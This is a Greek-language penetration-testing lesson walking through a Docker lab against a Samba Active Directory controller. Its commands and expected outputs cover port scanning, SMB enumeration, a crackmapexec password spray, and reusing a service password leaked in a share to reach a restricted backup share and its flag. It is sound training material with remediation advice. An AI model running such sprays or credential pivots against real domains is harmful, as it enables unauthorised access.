Πλευρικές μετακινήσεις — Καθοδηγούμενη επίδειξη
Το μάθημα 10.1 έθεσε το λεξιλόγιο: pivot, tunnel, relay,
impersonation. Εδώ, δεν ανοίγουμε ούτε ligolo-ng ούτε ένα Golden Ticket. Ξεδιπλώνουμε
την πιο συχνή αλυσίδα ενός εσωτερικού pentest το 2026: έναν
εποχιακό κωδικό πρόσβασης, ένα υπερβολικά ανοιχτό share, ένα διαπιστευτήριο
υπηρεσίας κολλημένο σε ένα README. Κανένα exploit. Απλώς μια ταυτότητα που
αλλάζει.
Αυτή η επίδειξη ξαναπαίζει ακριβώς το lab του εργαστηρίου
(labs/docker/module-10-mouvements-lateraux). Το εργαστήριο σας τοποθετεί
στη συνέχεια μόνους σας. Εδώ, κάθε εντολή έρχεται με την αναμενόμενη έξοδο και
τη φράση που λέει τι αποδεικνύει.
Τα δύο containers ζουν στο 10.20.30.0/24. Καμία θύρα AD δεν
δημοσιεύεται προς τον host. Όλες οι εντολές αυτού του μαθήματος εκτελούνται
από το shell του m10-attaquant.
Τι θα ξέρετε να κάνετε
- Ανάγνωση της υπογραφής ενός ελεγκτή domain σε μια στοχευμένη σάρωση θυρών, χωρίς να πνίξετε το LAN.
- Διάκριση μιας ανώνυμης απαρίθμησης SMB από μια πιστοποιημένη απαρίθμηση, και τι επιτρέπει η καθεμία.
- Εξαγωγή ενός διαπιστευτηρίου που διέρρευσε σε ένα share, στη συνέχεια επαναχρησιμοποίησή του για να ανοίξετε έναν πόρο που απορρίφθηκε στην πρώτη ταυτότητα.
- Χαρακτηρισμός του ευρήματος: δεν είναι «ανοιχτό SMB», είναι μια αλυσίδα με τέσσερις κρίκους.
Ρύθμιση
cd inskillsec-docusaurus/labs/docker/module-10-mouvements-lateraux
docker compose up -d
Η πρώτη εκκίνηση του DC διαρκεί περίπου ένα λεπτό: provision του domain
CORP.ACME.LOCAL, δημιουργία των λογαριασμών, τοποθέτηση των δύο shares. Το
container του επιτιθέμενου περιμένει να γίνει healthy ο dc01. Παρακολουθήστε την
provision:
docker logs -f m10-dc01
Όταν εμφανιστεί η γραμμή [m10] === Daemon en premier plan ===, το
domain είναι έτοιμο. Ανοίξτε το shell του επιτιθέμενου:
docker compose exec attaquant bash
Είστε σε ένα Kali, στο 10.20.30.5. Ο στόχος είναι
dc01.corp.acme.local στο 10.20.30.10. Το DNS του container δείχνει
ήδη στον DC: οι αναλύσεις dc01 και dc01.corp.acme.local
λειτουργούν χωρίς πειραγμένο /etc/hosts.
| Στοιχείο | Τιμή |
|---|---|
| Domain | CORP.ACME.LOCAL (NetBIOS CORP) |
| Ελεγκτής | dc01.corp.acme.local — 10.20.30.10 |
| Επιτιθέμενος | Kali — 10.20.30.5 |
| Σημείο εκκίνησης | κανένα διαπιστευτήριο |
Η αλυσίδα σε ένα διάγραμμα
Έξι άλματα. Ένας μόνο αδύναμος λογαριασμός στην αρχή. Η εναλλαγή προς
τον svc_sql δεν είναι κλιμάκωση kernel: είναι μια
impersonation που αποκτήθηκε από ένα κακά τακτοποιημένο αρχείο.
Βήμα 1 — αναγνώριση δικτύου
Δεν έχετε κανέναν κωδικό πρόσβασης. Χαρτογραφείτε τον DC με μια
λίστα θυρών, όχι ένα -p-. Μια εκτεταμένη σάρωση σε ένα εταιρικό LAN
διακόπτει εκτυπωτές· εδώ, ψάχνουμε την υπογραφή ενός
ελεγκτή domain.
nmap -Pn -p22,53,88,135,139,389,445,464,636,3268,3269 10.20.30.10
Αναμενόμενη έξοδος:
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for dc01.corp.acme.local (10.20.30.10)
Host is up (0.00080s latency).
PORT STATE SERVICE
22/tcp closed ssh
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Ανάγνωση. Ο συνδυασμός 88 + 389 + 3268 + 445 δεν είναι
ένας συνηθισμένος διακομιστής αρχείων. Kerberos, LDAP και το global catalog,
αυτό είναι ένας DC. Η κλειστή 22 είναι φυσιολογική: το Samba AD δεν ανοίγει
SSH. Σημειώστε αυτές τις θύρες στην αναφορά, είναι ο χάρτης σας. Δεν έχετε
ακόμα πιστοποιήσει τίποτα.
Γιατί αυτές οι θύρες και όχι μια πλήρης σάρωση
Σε ένα εσωτερικό /24, η εμφάνιση Kerberos + LDAP + global catalog
λέει «συγκεντρωθείτε εδώ». Το SMB και ο mapper RPC (135)
ανοίγουν επίσης σε πολλά Windows που δεν είναι DC. Είναι ο
συνδυασμός που αποφασίζει. Το -Pn αποφεύγει ένα ICMP ping συχνά
φιλτραρισμένο· ο DC απαντά ούτως ή άλλως στο TCP.
Βήμα 2 — ανώνυμη απαρίθμηση SMB
Πριν το spray, ρωτήστε την υπηρεσία SMB τι δείχνει σε έναν πελάτη χωρίς κωδικό πρόσβασης. Δεν δίνει ακόμα κανένα αρχείο. Δίνει μια λίστα ονομάτων.
smbclient -N -L //10.20.30.10
Αναμενόμενη έξοδος (αποσπάσματα):
Sharename Type Comment
--------- ---- -------
netlogon Disk Network Logon Service
sysvol Disk
team-notes Disk Notes internes de l'equipe support (lecture pour tous)
backups Disk Sauvegardes internes (acces reserve svc_sql)
IPC$ IPC IPC Service (Samba 4.19)
Ανάγνωση. Δύο «επιχειρησιακά» shares εμφανίζονται ήδη: team-notes και
backups. Τα σχόλια του Samba μιλάνε από μόνα τους — ένας διαχειριστής
έγραψε «ανάγνωση για όλους» και «πρόσβαση περιορισμένη σε svc_sql». Δεν
έχετε ακόμα δικαίωμα ανάγνωσης. Δοκιμάστε ούτως ή άλλως, για να καταγράψετε
το εύρημα της ανωνυμίας:
smbclient -N '//10.20.30.10/team-notes' -c 'ls'
Αναμενόμενη έξοδος:
tree connect failed: NT_STATUS_ACCESS_DENIED
Το share υπάρχει, φαίνεται, αρνείται τον ανώνυμο. Θα χρειαστεί μια ταυτότητα domain. Αυτός είναι ακριβώς ο ρόλος του spray.
Βήμα 3 — password spray
Υποθέτετε τρεις συχνούς λογαριασμούς και τρεις εποχιακούς κωδικούς πρόσβασης. Όχι μια wordlist 14 εκατομμυρίων: ένα spray είναι λίγες λέξεις ενάντια σε αρκετούς λογαριασμούς, κάτω από το όριο κλειδώματος.
echo -e "alice\nbob\nsvc_sql" > /tmp/users.txt
echo -e "Summer2025!\nWinter2024!\nPassword1" > /tmp/passwords.txt
crackmapexec smb 10.20.30.10 \
-u /tmp/users.txt \
-p /tmp/passwords.txt \
--continue-on-success
Αναμενόμενη έξοδος (οι χρήσιμες γραμμές):
SMB 10.20.30.10 445 DC01 [*] Windows 6.1 Build 0 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\bob:Summer2025!
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\svc_sql:Password1
Ανάγνωση. Οι γραμμές [+] είναι επιτυχημένες πιστοποιήσεις.
Κατέχετε τουλάχιστον το bob:Summer2025!. Το spray μπορεί επίσης
να εμφανίσει svc_sql:Password1: το Password1 βρίσκεται στη μικρή
wordlist. Δεν πηδάμε ωστόσο κατευθείαν στο backups. Σε αποστολή,
αυτή η λέξη δεν βρίσκεται πάντα στη λίστα σας. Το εύρημα προς
τεκμηρίωση είναι η διαρροή στο share. Συνεχίζουμε λοιπόν με
τον bob, σαν να μην είχε αποδώσει ο svc_sql.
Το --continue-on-success αποτρέπει το εργαλείο από το να σταματήσει στον πρώτο
λογαριασμό. Δεν σας εξουσιοδοτεί να δοκιμάσετε το rockyou.txt ενάντια
στο domain. Πέρα από λίγους υποψηφίους, κλειδώνετε
λογαριασμούς και ο διαχειριστής βλέπει το spray. Εδώ το lab είναι επιτρεπτικό· ένα
πραγματικό AD δεν είναι.
Η alice αντιστέκεται στους τρεις υποψηφίους: εσκεμμένο δόλωμα. Ένα spray
που βρίσκει έναν λογαριασμό στους τρεις είναι ήδη μια πρώτη πρόσβαση.
Σε ορισμένες εικόνες Kali, το crackmapexec ονομάζεται nxc: ίδιο
δυαδικό αρχείο, ίδια σύνταξη.
Βήμα 4 — απαρίθμηση των shares ως bob
Ίδια υπηρεσία SMB, άλλη ταυτότητα. Ζητήστε τα πραγματικά δικαιώματα, όχι μόνο τα ονόματα.
crackmapexec smb 10.20.30.10 -u bob -p 'Summer2025!' --shares
Αναμενόμενη έξοδος:
SMB 10.20.30.10 445 DC01 [*] Enumerated shares
SMB 10.20.30.10 445 DC01 Share Permissions Remark
SMB 10.20.30.10 445 DC01 ----- ----------- ------
SMB 10.20.30.10 445 DC01 netlogon READ
SMB 10.20.30.10 445 DC01 sysvol READ
SMB 10.20.30.10 445 DC01 team-notes READ Notes internes de l'equipe support
SMB 10.20.30.10 445 DC01 backups Sauvegardes internes (acces reserve svc_sql)
SMB 10.20.30.10 445 DC01 IPC$
| Share | Δικαιώματα του bob | Σχόλιο |
|---|---|---|
sysvol / netlogon | READ | Τυπικά shares AD, συχνά κενά εδώ |
team-notes | READ | Σημειώσεις ομάδας support — άμεσος στόχος |
backups | (κανένα) | Άρνηση. Είναι ο τελικός πόρος |
Ο bob διαβάζει το team-notes. Ο bob δεν διαβάζει το backups. Το pivot,
αν υπάρχει, βρίσκεται μέσα στο αναγνώσιμο share. Δεν επιτιθέμεθα
στο Kerberos πριν διαβάσουμε τα αρχεία της ομάδας.
Βήμα 5 — ανάγνωση του team-notes
smbclient '//10.20.30.10/team-notes' -U 'bob%Summer2025!' \
-c 'ls; mget *; exit'
Το smbclient ζητά επιβεβαίωση πριν από κάθε mget αν παραλείψετε
το -c. Με το -c, τα δύο αρχεία φτάνουν στον τρέχοντα
κατάλογο:
README-Onboarding.txt N 1540 ...
deploy-notes.md N 420 ...
Διαβάστε τα.
cat README-Onboarding.txt
cat deploy-notes.md
Αναμενόμενη έξοδος (χρήσιμο απόσπασμα του onboarding):
2. Le SQL Server tourne sur dc01:1433. Si tu dois faire une extraction
pour la compta, connecte-toi avec le compte de service svc_sql. Le
mot de passe est "Password1" — on doit le changer depuis 2 ans mais
personne n a le temps, l acces au SQL est de toute facon interne.
3. Les sauvegardes nocturnes sont sur \\dc01\backups. svc_sql peut y
lire, pas ton compte perso.
Το deploy-notes.md επαναλαμβάνει το ίδιο ζεύγος svc_sql / Password1 σε
μια checklist ανάπτυξης. Δύο αρχεία, μία μόνο διαρροή.
Κατέχετε το pivot: svc_sql:Password1.
Ένας κωδικός πρόσβασης υπηρεσίας σε καθαρό κείμενο σε ένα share ανοιχτό σε κάθε πιστοποιημένο χρήστη συνδυάζει τρία ελαττώματα: υπερβολικά ευρύ ACL, απουσία περιστροφής, onboarding μέσω κοινόχρηστου αρχείου αντί για θησαυροφυλάκιο. Καθένα πρέπει να εμφανίζεται ως ξεχωριστό διορθωτικό μέτρο. «Ενίσχυση του SMB» δεν διορθώνει τίποτα από όλα αυτά.
Βήμα 6 — εναλλαγή ταυτότητας προς svc_sql
Ίδιος πόρος, δύο ταυτότητες. Η άρνηση και στη συνέχεια η πρόσβαση αποδεικνύουν ότι η πλευρικοποίηση εξαρτάται αποκλειστικά από τον λογαριασμό, όχι από ένα exploit.
smbclient '//10.20.30.10/backups' -U 'bob%Summer2025!' -c 'ls'
Αναμενόμενη έξοδος:
NT_STATUS_ACCESS_DENIED listing \*
Στη συνέχεια:
smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' -c 'ls'
Αναμενόμενη έξοδος:
secret.txt N 2100 ...
Ο bob παραμένει πάντα πιστοποιημένος στο domain. Απλώς
δεν έχει το δικαίωμα. Ο svc_sql το έχει. Μόλις πλευρικοποιήσατε: νέα
ταυτότητα, νέος πόρος, κανένα δυαδικό αρχείο τοποθετημένο στον DC.
Ελέγξτε επίσης τα shares από τον svc_sql, για την αναφορά:
crackmapexec smb 10.20.30.10 -u svc_sql -p 'Password1' --shares
Το backups περνά σε READ. Το flag είναι σε ανάγνωση· δεν γράφουμε τίποτα.
Βήμα 7 — ανάγνωση του flag
smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' \
-c 'get secret.txt /tmp/flag.txt; exit'
cat /tmp/flag.txt
Το αρχείο αφηγείται την αλυσίδα που μόλις εκτελέσατε. Η γραμμή που μετράει:
Le drapeau que vous cherchez : FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026
Αναμενόμενο flag:
FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026
Κρατήστε το αρχείο. Το εργαστήριο θα ζητήσει να το επισυνάψετε στην αναφορά
rapport/lateralisation-m10.md.
Ανάγνωση της εξόδου — τι αξίζει κάθε σήμα
Τρεις φράσεις που πρέπει να μπορείτε να πείτε μπροστά σε έναν πελάτη, χωρίς ορολογία.
- Ένας DC αναγνωρίζεται από την υπογραφή θυρών του, όχι από το όνομά του.
Το
88+389+3268αρκούν. Το όνομαdc01είναι ένα δώρο του lab· σε αποστολή, το ίδιο μοτίβο εμφανίζεται στονSRV-ADS-01. - Το να βλέπεις ένα share δεν σημαίνει να μπαίνεις σε αυτό. Ο ανώνυμος βλέπει
team-notesκαιbackups. Μόνο μια ταυτότητα domain ανοίγει το πρώτο. Μόνο οsvc_sqlανοίγει το δεύτερο. Τεκμηριώστε τα τρία επίπεδα: εμφανές, αναγνώσιμο, απορριφθέν. - Η πλευρική μετακίνηση δεν απαιτεί exploit. Εδώ, το άλμα οφείλεται σε ένα README. Στο 10.1, το Pass-the-Hash και το relay SMB κάνουν την ίδια δουλειά με άλλα αντικείμενα (hash, challenge). Το παραδοτέο είναι ίδιο: μια νέα ταυτότητα, ένας νέος πόρος.
Το lab δεν επιδεικνύει λειτουργικό Kerberoasting: το Samba AD
4.19+ απορρίπτει τα TGS του Impacket (KRB_AP_ERR_INAPP_CKSUM). Τα
SPN παραμένουν ορατά· για ένα πραγματικό εισιτήριο, το HackTheBox Forest
ή το TryHackMe Attacktive Directory.
Εκεί όπου προκύπτουν προβλήματα
- Ο
dc01δεν είναιhealthy. Τοnmapστη θύρα445παραμένειfilteredήhost down. Ξαναδιαβάστε τοdocker logs m10-dc01: όσο η[m10] === Daemon en premier plan ===δεν εμφανίζεται, το SMB δεν ακούει. Περιμένετε, ήdocker compose ps. Summer2025!χωρίς εισαγωγικά. Το!τρώγεται από το bash. Γράψτε-p 'Summer2025!'ή-U 'bob%Summer2025!'.- Το
crackmapexecδεν βρίσκεται. Πληκτρολογήστεnxc— ίδιο εργαλείο, νέο όνομα. Η σύνταξη--sharesδεν αλλάζει. - Διαδραστικό
mget. Χωρίς-c, τοsmbclientθέτειGet file ...?για κάθε αρχείο. Απαντήστεy, ή ξεκινήστε ξανά με-c 'lcd /tmp; prompt OFF; mget *; exit'. get secret.txt /tmp/flag.txtαποτυγχάνει. Δεν είστε σε συνεδρίαsvc_sql, ή τοlcdδείχνει αλλού. Ελέγξτε με-c 'ls'πρώτα.- Χρησιμοποιείτε τον κωδικό του Administrator από το README του lab. Αυτό είναι εξαπάτηση της άσκησης. Η επίδειξη ξεκινά από μια απλή πρόσβαση δικτύου. Ο λογαριασμός admin υπάρχει για να κρατηθεί όρθιος ο DC, όχι για να χρησιμεύσει ως συντόμευση.
Τι πρέπει να θυμάστε
Η πλευρική μετακίνηση αυτού του μαθήματος συνοψίζεται σε μία φράση: μια
αδύναμη ταυτότητα ανοίγει ένα υπερβολικά ευρύ share, το οποίο παραδίδει μια
πιο χρήσιμη ταυτότητα, η οποία ανοίγει τον στοχευμένο πόρο. Δεν τοποθετήσατε
κανένα implant, καμία σήραγγα, κανένα πλαστογραφημένο εισιτήριο. Σε αποστολή, αυτή η αλυσίδα
τεκμηριώνεται κρίκο προς κρίκο — εποχιακός κωδικός πρόσβασης,
share Domain Users, μυστικό σε καθαρό κείμενο, λογαριασμός υπηρεσίας χωρίς
περιστροφή — γιατί η κοπή ενός κρίκου αρκεί για να τη σπάσει.
Το εργαστήριο επαναλαμβάνει το ίδιο lab, χωρίς αυτή τη σελίδα ανοιχτή. Θα
ξαναπαίξετε τα έξι βήματα, θα συντάξετε την αναφορά, θα σβήσετε
με docker compose down -v.